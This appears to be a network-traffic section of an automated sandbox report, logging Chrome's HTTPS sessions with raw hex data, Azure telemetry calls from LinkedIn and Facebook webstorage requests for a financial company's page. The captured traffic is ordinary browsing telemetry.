2024-04-11 20:35:49 UTC	1378	IN	Data Raw: 0b 50 0b 6a 00 b5 00 5a 85 0b 50 82 d0 05 a8 50 b5 00 5a 80 5b 50 05 a8 02 d4 01 6a 00 b5 00 5a 84 0b 50 40 5a 80 2d 40 16 a1 02 d4 2a 0b 50 a1 6a 00 b5 08 16 a1 42 86 44 b5 00 5a 80 2d 40 16 a0 0b 50 05 a8 02 d4 01 6a 00 b5 00 5a 80 2d 40 25 a8 02 d4 01 6a 00 b5 00 5a 80 2d 40 25 a8 02 d4 01 6a a0 2d 40 25 a8 02 d5 40 5a a0 0b 50 05 aa 80 b5 00 5a 80 2d 50 05 aa 90 4b 50 a1 6a 00 b5 00 5a 80 2d 40 16 a0 0b 50 09 6a 00 b5 00 5a 84 0b 50 a1 6a 00 b5 00 96 a0 0b 50 05 a8 02 d4 02 5a 80 2d 40 16 a0 24 8d 54 8d 4f 89 b7 81 f0 e9 5f 2f ee 6f e1 f5 9f 43 b0 fe 21 51 0d 8d 9a d7 3e 22 be 4d 99 f4 d2 0b 96 1a 49 61 7b 1d c0 0f dd 54 b0 26 c6 bb 14 2a cc 0d 88 b6 df df 56 49 02 34 48 55 94 00 e6 df 67 ed bd 6a 4c 8b 38 3a 5f dd fb ab e9 fd b7 f8 bd 47 ce fb 87 1a Data Ascii: PjZPPZ[PjZP@Z-@PjBDZ-@PjZ-@%jZ-@%j-@%@ZPZ-PKPjZ-@PjZPjPZ-@$TO_/oC!Q>"MIa{T&VI4HUgjL8:_G
2024-04-11 20:35:49 UTC	1378	IN	Data Raw: 4b 50 06 da 00 b5 00 96 aa 02 d4 02 5a 80 2d 40 21 14 01 6a 01 2d 40 16 a0 12 d4 01 6a 01 2d 40 26 da 00 b5 50 25 a8 02 d4 02 6d a0 12 df 85 00 9b 68 02 d4 02 5a 80 42 2f 54 a2 11 40 16 a0 10 ad 00 96 aa 04 db 40 25 a8 00 8a 01 a4 0a 00 b5 00 96 a0 3a 0b 57 98 a1 6a 00 b5 00 5a 80 2d 40 16 a1 18 96 a0 0b 50 05 aa 80 b5 41 01 6a a0 28 02 d4 40 2d 40 16 a0 0b 50 05 a8 02 d4 90 14 01 6a 00 b5 00 5a 84 0a 00 b5 0a 16 a0 0b 50 05 a8 41 6d 40 16 a0 00 28 02 80 2d 40 16 a0 0b 50 05 a8 05 b5 00 54 01 6a 00 b5 00 b6 a0 0b 50 0b 6a 00 b5 00 b6 a0 0b 50 0b 6a 00 b5 00 b6 a0 0b 50 0b 6a 01 6d 40 16 a0 0b 50 05 a8 02 d4 01 6a 00 db 52 40 5a ac 80 b5 49 01 6a a0 5b 54 01 6a 00 b5 50 2d aa 00 b5 00 5a a8 0b 50 05 a8 02 d4 01 6a 00 b5 00 5a 80 2d 40 2d a8 04 b5 00 b6 a0 Data Ascii: KPZ-@!j-@j-@&P%mhZB/T@@%:WjZ-@PAj(@-@PjZPAm@(-@PTjPjPjPjm@PjR@ZIj[TjP-ZPjZ-@-
2024-04-11 20:35:49 UTC	1378	IN	Data Raw: 79 87 e2 2b 6a e8 c3 a9 11 89 c1 d4 7f db ef ab b9 32 34 c6 31 55 2a 1c 85 2e 6c 81 8d 8b 1b 5e cb 7e ba 0b e9 54 82 da 80 5b 50 09 6a 01 6d 40 25 a8 02 d4 01 6a 01 6d 40 16 a0 0b 50 05 a8 05 b5 00 5a 80 2d 40 16 a0 16 d4 01 6a 00 b5 00 5a 80 2d 49 01 6a 00 b5 00 5a 80 2d 40 16 a4 80 b5 00 5a 80 2d 40 16 a4 80 b5 00 5a 80 2d 40 16 aa 02 d5 00 96 aa 03 6d 24 05 aa 10 36 d5 01 6a 00 db 52 4a 1b 6a c9 04 b5 24 81 b6 85 0b 50 06 da 08 0d b4 20 9b 68 50 b5 08 1b 68 03 6d 00 5a 80 4b 50 05 a8 02 d4 28 6d a1 02 d4 01 6a 00 b5 00 5a 80 2d 40 16 aa 02 d4 02 5a 80 2d 40 16 a0 0b 50 05 a8 02 d4 01 6a 01 2d 40 16 a0 0b 50 05 a8 02 d4 01 6a 01 2d 40 2e da 01 36 d0 05 a8 07 28 d4 5f 41 63 af df 5f 27 ee 3f 1a f4 1f 53 b0 5e eb f4 8f 3b 75 b7 fe 8a f9 c7 bc 4b 0d 2d 7b Data Ascii: y+j241U*.l^~T[Pjm@%jm@PZ-@jZ-IjZ-@Z-@Z-@m$6jRJj$P hPhmZKP(mjZ-@Z-@Pj-@Pj-@.6(_Ac_'?S^;uK-{
2024-04-11 20:35:49 UTC	1378	IN	Data Raw: 17 f0 fe 6c 25 e1 99 96 cf 92 9a 1d c4 7a 71 f5 1a fb 28 f0 5b e6 fc 91 3e a2 bf 2f e6 c1 38 f6 04 9f 58 29 27 ff 00 57 1e bf ec d3 c9 b7 cf f9 22 79 d4 f9 7f 36 12 70 d9 32 36 ef 9a b2 de e3 c8 9e 3f e8 d5 f2 2c ff 00 8d fb 17 ec 0b b8 a2 fe 0f cd 8d 3c 64 aa c8 a6 73 6f 68 8a 32 01 1f e8 d6 5e 2b 70 dc fd 8b f6 1a 59 ab 13 b5 7b 58 8d c4 cc 2c 4c e4 00 6e 07 a5 1f 9b db 7b 2d 57 86 df 33 f6 2f d8 45 9e af f8 57 b5 92 b6 03 59 54 49 b8 11 fc 91 91 f8 6d ad 79 16 7f c4 ff 00 2f d8 67 cf af 3a fe 6f f6 90 8e df 81 b7 6e 98 dd ba 80 a9 a7 bb e1 ac 7d 33 f9 bf 47 ec 37 f5 49 7f 0f e6 c9 62 e0 84 6b b6 29 b6 83 7b 8d 89 ad cd ef f0 d6 eb 82 cb f8 bf 41 8b 77 15 7f c1 fa 49 53 8b 9a d7 19 6c a2 fe 0b 1f 87 fa 35 b5 8a df 37 e8 30 f3 53 e5 5f 9f ed 27 38 33 6d Data Ascii: l%zq([>/8X)'W"y6p26?,<dsoh2^+pY{X,Ln{-W3/EWYTImy/g:on}3G7Ibk){AwISl570S_'83m
2024-04-11 20:35:49 UTC	1378	IN	Data Raw: d6 82 cc 57 ad f7 3d 89 f1 d3 a5 4d d0 4d 8e dc 07 c5 2b 4c f6 50 55 6d fe 25 ac 07 e3 d4 d5 56 9e 04 74 db c4 92 52 a0 81 ba ca 2d b8 7b 3d 9f 8d 1b 25 54 eb 04 33 46 63 bc c9 76 27 50 00 26 c3 a7 4a c3 d0 e9 5d 74 1a 1d 99 82 95 bd 81 d4 83 a1 b6 97 35 8d d3 c0 ea a8 d7 12 cc 11 21 8c 83 ab 5a c5 bc 6e 7c 6b 4a 1a 32 e5 31 e4 7a 46 e1 7c a4 0b 9b 75 35 1d a0 6d 91 36 bc 8a c7 6e d2 48 b1 b7 51 49 92 ed 80 f9 75 05 1b 6d ac 6e 7e cf 7d 1a 24 ce 82 7a cc 82 c5 1b dd e5 24 9f c2 9e 67 80 f2 a7 99 1b b1 05 9d 81 50 c0 79 49 d0 7b eb 2d ce ac dd 54 68 86 45 39 72 55 9c 30 23 4b 75 b0 f1 ae 6a cd f1 37 6a a5 c1 0e 33 14 70 a5 49 b0 1e 60 2e 0f e1 5d eb 76 91 c9 e3 4f 83 26 00 ba 29 65 2a b7 bb 0b 5a e2 ac c9 36 c7 31 7d 1c 87 6b 25 96 3b 82 17 f9 81 ea 0d 23 Data Ascii: W=MM+LPUm%VtR-{=%T3Fcv'P&J]t5!Zn\|kJ21zF\|u5m6nHQIumn~}$z$gPyI{-ThE9rU0#Kuj7j3pI`.]vO&)e*Z61}k%;#
2024-04-11 20:35:49 UTC	1378	IN	Data Raw: c9 b6 b8 33 aa 55 7c bf 32 e8 88 85 0c ae 75 d7 e1 ff 00 2d 6e 5f 5f c8 e3 a7 4f cc 85 d6 50 ec 7d 46 eb 61 a0 e9 59 6e dd 7f 23 a2 55 8e 02 04 95 ae 0c a7 c7 aa 8d 68 9d ba fe 42 2b d3 f3 0b 4d 60 37 91 7e 80 a8 b5 37 5b af e4 36 d7 a0 49 8f 0a 9d ee a1 9c 8e 9b 47 ee a0 4e 78 0d 58 92 da 28 b0 f2 fc 0a 3e ed 28 56 4d 1c 31 f5 51 b4 0f cb 61 f8 d6 d3 39 db c4 7e d2 74 06 de fb 0a 6e 64 84 29 54 bf 8d c1 b7 41 57 71 20 95 61 57 5d cc d7 3d 35 02 f5 a4 df 53 0e 27 80 d9 94 05 03 71 37 3d 34 a9 2c a9 27 c8 6a c6 35 d4 8b 0b d5 4d f5 0d 2e 82 38 36 f8 9a c7 ec ab 2f a9 88 5d 08 d8 6d 27 69 20 7b 40 15 ad 7a 99 d0 6b 23 90 18 4a 49 06 f6 b2 9d 6b 75 93 95 a3 a1 3a 89 88 3b 82 48 2c 75 d5 5a de 3d 6f 51 b3 55 48 8e 18 1c 48 ad 20 22 34 37 45 03 a7 de b7 d2 d5 Data Ascii: 3U\|2u-n__OP}FaYn#UhB+M`7~7[6IGNxX(>(VM1Qa9~tnd)TAWq aW]=5S'q7=4,'j5M.86/]m'i {@zk#JIku:;H,uZ=oQUHH "47E
2024-04-11 20:35:49 UTC	1378	IN	Data Raw: 00 5a 85 0b 50 06 da 00 b5 00 5a 84 0b 50 05 a8 02 d4 01 6a 00 b5 00 5a 80 2d 40 16 a0 0b 50 a1 6a 10 2d 40 16 a0 0b 50 05 a8 04 b5 00 5a 80 2d 40 16 a0 0b 50 05 a8 02 d4 01 6a 00 db 40 25 a8 02 d4 01 6a 00 b5 00 5a 80 4b 50 05 a8 02 d4 01 6a 00 b5 50 16 a8 02 d4 01 6a 01 2d 54 05 a8 05 b5 40 25 a8 02 d4 01 6a a0 2d 40 16 a0 0b 50 05 a8 02 d4 01 6a 00 b5 00 96 a0 17 41 d6 d7 0a 35 d3 4d 3d f5 f1 fb df f7 1f a0 fa bd 9f fb 7e b1 05 c8 56 bd f4 f1 f7 fb 45 78 8f 60 ab a9 d6 f7 bf 8d 54 06 9f 3e e4 64 05 6f a8 bd af 51 94 53 6d c5 4a f4 1d 6d e5 fc 6a a2 0e 23 f4 92 c2 c2 dd 2b df d8 fc 7e a3 c5 df 7c 1e b2 3b 57 d5 93 e5 81 5a a0 4b 50 05 a8 02 d4 01 6a 01 2d 40 1b 68 02 d4 02 5a 80 2d 54 05 aa 00 b5 50 25 a8 02 d4 01 6a 01 2d 40 16 a0 0b 50 09 b6 85 0b 55 Data Ascii: ZPZPjZ-@Pj-@PZ-@Pj@%jZKPjPj-T@%j-@PjA5M=~VEx`T>doQSmJmj#+~\|;WZKPj-@hZ-TP%j-@PU
2024-04-11 20:35:49 UTC	1378	IN	Data Raw: a0 12 d4 01 6a 01 2d 40 1b 68 04 b5 00 6d a4 80 b5 00 96 a0 0d b4 08 4b 55 01 b6 85 0b 50 09 b6 80 36 d0 90 16 a1 44 db 40 16 a0 13 6d 00 6d a0 13 6d 00 6d a0 12 d4 01 b6 80 4b 50 a1 6a a4 0b 54 02 5a 85 14 25 00 a2 3a 49 60 4f 4c d0 0d 2b 54 83 76 d0 16 e2 ce 21 08 78 5d 48 3b ad 23 a8 7b 3e a0 6d d4 e9 e3 5e 2c 49 d6 b0 db 67 4b 56 59 0e 67 27 26 c9 71 d2 09 62 96 4b 45 1e 44 6e 8d b0 bd ae e2 df ca 3f c9 5a b5 b4 2d 71 ea 18 5c 86 4a c5 1e 3c d8 b3 4b 2c 60 c6 d9 32 3a 0f 50 ad f6 b7 bc 91 61 7a 95 bb e8 2d 8d 75 24 8b 9a 8a 54 32 43 03 cb 1a b9 42 55 d4 1d c9 f1 ed 04 02 76 9d 2a ac 93 aa 16 c4 d7 12 7c 7e 72 58 72 1a 69 22 9a 58 a6 be dc 5b af e9 15 e9 72 74 17 e9 a5 79 9e 33 d5 5c b0 8b 70 f7 54 61 f6 fc b0 23 6d c9 f5 93 4f 68 3a 75 1d 2b 2b 17 89 Data Ascii: j-@hmKUP6D@mmmmKPjTZ%:I`OL+Tv!x]H;#{>m^,IgKVYg'&qbKEDn?Z-q\J<K,`2:Paz-u$T2CBUv*\|~rXri"X[rty3\pTa#mOh:u++
2024-04-11 20:35:49 UTC	1378	IN	Data Raw: de b0 e6 34 67 1f e5 d6 69 14 c9 14 73 7a 88 e0 5f 40 47 42 7d b5 ad a9 a9 44 f3 ec b4 65 ae 33 3b 37 8f 59 d3 19 22 6c 79 08 91 c4 8e c5 bd 43 a3 15 03 c3 f7 d4 da 91 9f 31 97 87 70 72 3e a3 79 60 75 fc 80 6e dc de d1 6b e9 b6 b6 aa 8c bc d6 2b e5 67 e6 b6 50 cf 68 e3 5c ac 71 ff 00 0c 6e c0 04 6b f9 1e dd 41 be b5 1a 81 bd b1 1b b9 b9 48 f1 44 8d 0c 53 4c cd b0 45 0d ec 0b 1f 2c 85 98 fc 0a 35 6f 1a 38 41 5d b6 19 7c ae 46 6e 1b e2 4c b0 3c 12 90 93 29 dc 0b ad c1 d0 1f b3 c6 b4 d2 e0 65 5d 89 81 cc 67 62 a4 78 d3 18 57 1e 3b c7 14 83 7b 3a aa fc 01 ef fb eb 74 f1 fd 26 2c d9 76 5e e4 9e f6 85 f1 c1 d6 c6 50 c0 2d bd e3 ad 4b 55 75 2d 72 5b a1 95 83 cc e4 61 64 48 f8 a3 18 c9 96 77 e4 a9 2d e6 96 e6 c5 6d 6e b7 d4 9a c2 48 db b3 e2 6b 8e e5 c9 5c a6 c6 Data Ascii: 4gisz_@GB}De3;7Y"lyC1pr>y`unk+gPh\qnkAHDSLE,5o8A]\|FnL<)e]gbxW;{:t&,v^P-KUu-r[adHw-mnHk\

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
281	192.168.2.4	50171	13.107.213.40	443	5984	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 20:35:51 UTC	578	OUT	OPTIONS /event?correlationId=f5447fda-f9aa-4707-8a29-843cb3f895af&type=data HTTP/1.1 Host: ps.azurewaf.microsoft.com Connection: keep-alive Accept: / Access-Control-Request-Method: POST Access-Control-Request-Headers: content-type Origin: https://www.linkedin.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Sec-Fetch-Dest: empty Referer: https://www.linkedin.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-11 20:35:51 UTC	717	IN	HTTP/1.1 204 No Content Date: Thu, 11 Apr 2024 20:35:51 GMT Connection: close Access-Control-Allow-Headers: content-type Access-Control-Allow-Methods: POST Access-Control-Allow-Origin: * Set-Cookie: TiPMix=9.197306485714307; path=/; HttpOnly; Domain=mouselogdatacollection.azurewebsites.net; Max-Age=3600; Secure; SameSite=None Set-Cookie: x-ms-routing-name=self; path=/; HttpOnly; Domain=mouselogdatacollection.azurewebsites.net; Max-Age=3600; Secure; SameSite=None Strict-Transport-Security: max-age=2592000 Request-Context: appId=cid-v1:b972f5ff-0dbf-487c-8b8c-19607927d2c0 X-Powered-By: ASP.NET x-azure-ref: 20240411T203551Z-17596848d4ct5p6jmp4ap3nwfs00000003dg000000003set X-Cache: CONFIG_NOCACHE

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
282	192.168.2.4	50172	13.107.213.40	443	5984	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 20:35:52 UTC	676	OUT	POST /event?correlationId=f5447fda-f9aa-4707-8a29-843cb3f895af&type=data HTTP/1.1 Host: ps.azurewaf.microsoft.com Connection: keep-alive Content-Length: 2091 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Type: application/json Accept: / Origin: https://www.linkedin.com Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://www.linkedin.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-11 20:35:52 UTC	2091	OUT	Data Raw: 7b 22 64 61 74 61 22 3a 22 65 79 4a 68 49 6a 6f 77 4c 43 4a 69 49 6a 6f 77 4c 43 4a 6a 49 6a 6f 69 64 33 64 33 4c 6d 78 70 62 6d 74 6c 5a 47 6c 75 4c 6d 4e 76 62 53 49 73 49 6d 51 69 4f 69 49 76 59 58 56 30 61 48 64 68 62 47 77 69 4c 43 4a 6c 49 6a 6f 78 4d 6a 67 77 4c 43 4a 6d 49 6a 6f 35 4d 44 63 73 49 6d 67 69 4f 69 49 79 4d 44 49 30 4c 54 41 30 4c 54 45 78 56 44 49 77 4f 6a 4d 31 4f 6a 4d 31 4c 6a 45 34 4f 56 6f 69 4c 43 4a 70 49 6a 6f 69 61 48 52 30 63 48 4d 36 4c 79 39 33 64 33 63 75 62 47 6c 75 61 32 56 6b 61 57 34 75 59 32 39 74 4c 32 4e 76 62 58 42 68 62 6e 6b 76 59 6d 5a 71 4c 57 5a 70 62 6d 46 75 59 32 6c 68 62 43 31 6e 63 6d 39 31 63 43 49 73 49 6d 6f 69 4f 69 4a 4e 62 33 70 70 62 47 78 68 4c 7a 55 75 4d 43 41 6f 56 32 6c 75 5a 47 39 33 63 79 Data Ascii: {"data":"eyJhIjowLCJiIjowLCJjIjoid3d3LmxpbmtlZGluLmNvbSIsImQiOiIvYXV0aHdhbGwiLCJlIjoxMjgwLCJmIjo5MDcsImgiOiIyMDI0LTA0LTExVDIwOjM1OjM1LjE4OVoiLCJpIjoiaHR0cHM6Ly93d3cubGlua2VkaW4uY29tL2NvbXBhbnkvYmZqLWZpbmFuY2lhbC1ncm91cCIsImoiOiJNb3ppbGxhLzUuMCAoV2luZG93cy
2024-04-11 20:35:52 UTC	670	IN	HTTP/1.1 200 OK Date: Thu, 11 Apr 2024 20:35:52 GMT Content-Length: 0 Connection: close Access-Control-Allow-Origin: * Set-Cookie: TiPMix=37.81029000038612; path=/; HttpOnly; Domain=mouselogdatacollection.azurewebsites.net; Max-Age=3600; Secure; SameSite=None Set-Cookie: x-ms-routing-name=self; path=/; HttpOnly; Domain=mouselogdatacollection.azurewebsites.net; Max-Age=3600; Secure; SameSite=None Strict-Transport-Security: max-age=2592000 Request-Context: appId=cid-v1:b972f5ff-0dbf-487c-8b8c-19607927d2c0 X-Powered-By: ASP.NET x-azure-ref: 20240411T203552Z-17596848d4czvksk5gaabqae7800000000gg00000000709h X-Cache: CONFIG_NOCACHE Accept-Ranges: bytes

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
283	192.168.2.4	50173	13.107.246.40	443	5984	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 20:35:52 UTC	546	OUT	GET /event?correlationId=f5447fda-f9aa-4707-8a29-843cb3f895af&type=data HTTP/1.1 Host: ps.azurewaf.microsoft.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: MC1=GUID=749eee6039c5489b9db3000c7ab3f399&HASH=749e&LV=202310&V=4&LU=1696413236917; MUID=375E6F2E0D8F6B9C2CEB7C8E098F6DFE
2024-04-11 20:35:52 UTC	645	IN	HTTP/1.1 405 Method Not Allowed Date: Thu, 11 Apr 2024 20:35:52 GMT Content-Length: 0 Connection: close Allow: POST Set-Cookie: TiPMix=81.30402892416959; path=/; HttpOnly; Domain=mouselogdatacollection.azurewebsites.net; Max-Age=3600; Secure; SameSite=None Set-Cookie: x-ms-routing-name=self; path=/; HttpOnly; Domain=mouselogdatacollection.azurewebsites.net; Max-Age=3600; Secure; SameSite=None Strict-Transport-Security: max-age=2592000 Request-Context: appId=cid-v1:b972f5ff-0dbf-487c-8b8c-19607927d2c0 X-Powered-By: ASP.NET x-azure-ref: 20240411T203552Z-1586dc58458rlrmly9fcqfybvw00000002q0000000010ykp X-Cache: CONFIG_NOCACHE

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
284	192.168.2.4	50175	157.240.241.35	443	5984	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 20:35:56 UTC	1069	OUT	POST /ajax/webstorage/process_keys/?state=1 HTTP/1.1 Host: www.facebook.com Connection: keep-alive Content-Length: 1549 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 viewport-width: 1280 Content-Type: application/x-www-form-urlencoded X-FB-LSD: AVqJt7mBmTM sec-ch-ua-platform-version: "10.0.0" X-ASBD-ID: 129477 dpr: 1 sec-ch-ua-full-version-list: "Google Chrome";v="117.0.5938.132", "Not;A=Brand";v="8.0.0.0", "Chromium";v="117.0.5938.132" sec-ch-ua-model: "" sec-ch-prefers-color-scheme: light sec-ch-ua-platform: "Windows" Accept: / Origin: https://www.facebook.com Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://www.facebook.com/bfjfinancial/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: wd=1280x907; datr=kEkYZr_nDMrv36ebLjkbz_9w; fr=05waMQFvhEIeDqhkC..BmGEmY..AAA.0.0.BmGEmY.AWV3M9AQ76o
2024-04-11 20:35:56 UTC	1549	OUT	Data Raw: 6c 6f 63 61 6c 5f 73 74 6f 72 61 67 65 5b 53 65 73 73 69 6f 6e 5d 3d 32 30 26 6c 6f 63 61 6c 5f 73 74 6f 72 61 67 65 5b 70 73 25 33 41 31 30 30 30 34 35 34 34 38 38 37 38 35 38 30 25 33 41 62 37 38 32 36 32 36 33 2d 36 31 65 31 2d 34 62 39 31 2d 62 30 33 32 2d 64 65 36 36 30 38 64 62 34 36 39 30 5d 3d 35 30 26 6c 6f 63 61 6c 5f 73 74 6f 72 61 67 65 5b 68 62 5f 74 69 6d 65 73 74 61 6d 70 5d 3d 31 33 26 6c 6f 63 61 6c 5f 73 74 6f 72 61 67 65 5b 62 61 6e 7a 61 69 25 33 41 6c 61 73 74 5f 73 74 6f 72 61 67 65 5f 66 6c 75 73 68 5d 3d 31 35 26 6c 6f 63 61 6c 5f 73 74 6f 72 61 67 65 5b 73 69 67 6e 61 6c 5f 66 6c 75 73 68 5f 74 69 6d 65 73 74 61 6d 70 5d 3d 31 33 26 73 65 73 73 69 6f 6e 5f 73 74 6f 72 61 67 65 5b 54 61 62 49 64 5d 3d 36 26 73 65 73 73 69 6f 6e 5f Data Ascii: local_storage[Session]=20&local_storage[ps%3A100045448878580%3Ab7826263-61e1-4b91-b032-de6608db4690]=50&local_storage[hb_timestamp]=13&local_storage[banzai%3Alast_storage_flush]=15&local_storage[signal_flush_timestamp]=13&session_storage[TabId]=6&session_
2024-04-11 20:35:56 UTC	1488	IN	HTTP/1.1 200 OK Content-Type: application/x-javascript; charset=utf-8 reporting-endpoints: coop_report="https://www.facebook.com/browser_reporting/coop/?minimize=0", coep_report="https://www.facebook.com/browser_reporting/coep/?minimize=0", default="https://www.facebook.com/ajax/comet_error_reports/?device_level=unknown", permissions_policy="https://www.facebook.com/ajax/browser_error_reports/" document-policy: force-load-at-top permissions-policy: accelerometer=(), attribution-reporting=(self), autoplay=(), bluetooth=(), camera=(self), ch-device-memory=(), ch-downlink=(), ch-ect=(), ch-rtt=(), ch-save-data=(), ch-ua-arch=(), ch-ua-bitness=(), clipboard-read=(self), clipboard-write=(self), display-capture=(self), encrypted-media=(self), fullscreen=(self), gamepad=*, geolocation=(self), gyroscope=(), hid=(), idle-detection=(), keyboard-map=(), local-fonts=(), magnetometer=(), microphone=(self), midi=(), otp-credentials=(), payment=(), picture-in-picture=(self), publickey-credentials-get=(self), screen-wake-lock=(), serial=(), usb=(), window-management=(), xr-spatial-tracking=(self);report-to="permissions_policy" cross-origin-resource-policy: cross-origin cross-origin-embedder-policy-report-only: require-corp;report-to="coep_report" cross-origin-opener-policy: same-origin-allow-popups;report-to="coop_report" Pragma: no-cache Cache-Control: private, no-cache, no-store, must-revalidate Expires: Sat, 01 Jan 2000 00:00:00 GMT X-Content-Type-Options: nosniff
2024-04-11 20:35:56 UTC	1226	IN	Data Raw: 72 65 70 6f 72 74 2d 74 6f 3a 20 7b 22 6d 61 78 5f 61 67 65 22 3a 32 35 39 32 30 30 30 2c 22 65 6e 64 70 6f 69 6e 74 73 22 3a 5b 7b 22 75 72 6c 22 3a 22 68 74 74 70 73 3a 5c 2f 5c 2f 77 77 77 2e 66 61 63 65 62 6f 6f 6b 2e 63 6f 6d 5c 2f 62 72 6f 77 73 65 72 5f 72 65 70 6f 72 74 69 6e 67 5c 2f 63 6f 6f 70 5c 2f 3f 6d 69 6e 69 6d 69 7a 65 3d 30 22 7d 5d 2c 22 67 72 6f 75 70 22 3a 22 63 6f 6f 70 5f 72 65 70 6f 72 74 22 2c 22 69 6e 63 6c 75 64 65 5f 73 75 62 64 6f 6d 61 69 6e 73 22 3a 74 72 75 65 7d 2c 20 7b 22 6d 61 78 5f 61 67 65 22 3a 38 36 34 30 30 2c 22 65 6e 64 70 6f 69 6e 74 73 22 3a 5b 7b 22 75 72 6c 22 3a 22 68 74 74 70 73 3a 5c 2f 5c 2f 77 77 77 2e 66 61 63 65 62 6f 6f 6b 2e 63 6f 6d 5c 2f 62 72 6f 77 73 65 72 5f 72 65 70 6f 72 74 69 6e 67 5c 2f 63 Data Ascii: report-to: {"max_age":2592000,"endpoints":[{"url":"https:\/\/www.facebook.com\/browser_reporting\/coop\/?minimize=0"}],"group":"coop_report","include_subdomains":true}, {"max_age":86400,"endpoints":[{"url":"https:\/\/www.facebook.com\/browser_reporting\/c
2024-04-11 20:35:56 UTC	137	IN	Data Raw: 37 65 0d 0a 66 6f 72 20 28 3b 3b 29 3b 7b 22 5f 5f 61 72 22 3a 31 2c 22 70 61 79 6c 6f 61 64 22 3a 7b 22 6b 65 79 73 22 3a 5b 22 70 73 3a 31 30 30 30 34 35 34 34 38 38 37 38 35 38 30 3a 62 37 38 32 36 32 36 33 2d 36 31 65 31 2d 34 62 39 31 2d 62 30 33 32 2d 64 65 36 36 30 38 64 62 34 36 39 30 22 5d 7d 2c 22 6c 69 64 22 3a 22 37 33 35 36 37 31 30 39 39 35 37 33 33 38 38 33 38 30 38 22 7d 0d 0a 30 0d 0a 0d 0a Data Ascii: 7efor (;;);{"__ar":1,"payload":{"keys":["ps:100045448878580:b7826263-61e1-4b91-b032-de6608db4690"]},"lid":"7356710995733883808"}0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
285	192.168.2.4	50176	157.240.241.35	443	5984	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 20:35:56 UTC	487	OUT	GET /ajax/webstorage/process_keys/?state=1 HTTP/1.1 Host: www.facebook.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: wd=1280x907; datr=kEkYZr_nDMrv36ebLjkbz_9w; fr=05waMQFvhEIeDqhkC..BmGEmY..AAA.0.0.BmGEmY.AWV3M9AQ76o
2024-04-11 20:35:57 UTC	1119	IN	HTTP/1.1 404 Not Found Vary: Accept-Encoding Set-Cookie: fr=05waMQFvhEIeDqhkC..BmGEmY..AAA.0.0.BmGEms.AWXWVZ2EOJA; expires=Wed, 10-Jul-2024 20:35:56 GMT; Max-Age=7776000; path=/; domain=.facebook.com; secure; httponly; SameSite=None reporting-endpoints: coop_report="https://www.facebook.com/browser_reporting/coop/?minimize=0", coep_report="https://www.facebook.com/browser_reporting/coep/?minimize=0", default="https://www.facebook.com/ajax/browser_error_reports/?device_level=unknown", permissions_policy="https://www.facebook.com/ajax/browser_error_reports/" report-to: {"max_age":2592000,"endpoints":[{"url":"https:\/\/www.facebook.com\/browser_reporting\/coop\/?minimize=0"}],"group":"coop_report","include_subdomains":true}, {"max_age":86400,"endpoints":[{"url":"https:\/\/www.facebook.com\/browser_reporting\/coep\/?minimize=0"}],"group":"coep_report"}, {"max_age":259200,"endpoints":[{"url":"https:\/\/www.facebook.com\/ajax\/browser_error_reports\/?device_level=unknown"}]}, {"max_age":21600,"endpoints":[{"url":"https:\/\/www.facebook.com\/ajax\/browser_error_reports\/"}],"group":"permissions_policy"}
